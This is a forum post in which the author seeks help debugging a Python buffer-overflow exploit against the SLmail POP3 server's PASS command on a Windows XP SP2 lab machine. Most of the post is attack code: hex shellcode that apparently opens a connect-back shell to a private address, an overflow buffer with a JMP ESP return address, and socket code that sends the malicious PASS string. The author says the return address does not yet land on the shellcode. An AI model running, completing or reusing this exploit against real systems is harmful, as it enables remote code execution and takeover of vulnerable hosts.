The target is an xp sp2 machine running a SLmail server which I know is vulnerable to buffer overflow with the PASS command. So I whipped up the following script:
#!/usr/bin/python
import struct
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode =("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
"\x53\x43\x53\xff\xd0\x68\xc0\xa8\x02\x6c\x66\x68\x11\x5c" +
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
"\x04\x5f\x53\xff\xd6\xff\xd0")
# where 0x01c7a18b is a JMP ESP in user32.dll on xp sp2
# buffer = '\x41' * 4654 + struct.pack('<L', 0x01c7a18b) + '\x90' * 16 +shellcode
buffer = '\x41' * 4654 + '\x42' * 4 + '\x43' * 48
print "\nSending evil buffer..."
s.connect (('192.168.2.104',110))
data = s.recv(1024)
s.send('USER ftp' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
the resulting crash shows my four B's sitting pretty in EIP but when I pass the address of a JMP ESP in user32.dll (done in this case by changing the commented line) the resulting crash holds a different address in EIP which does not point towards my shellcode.
I am certain that some one will point out my stupid mistake easily but I have been working on this all day and still it does not work...
Thanks in advance for the help,
Ey3l45h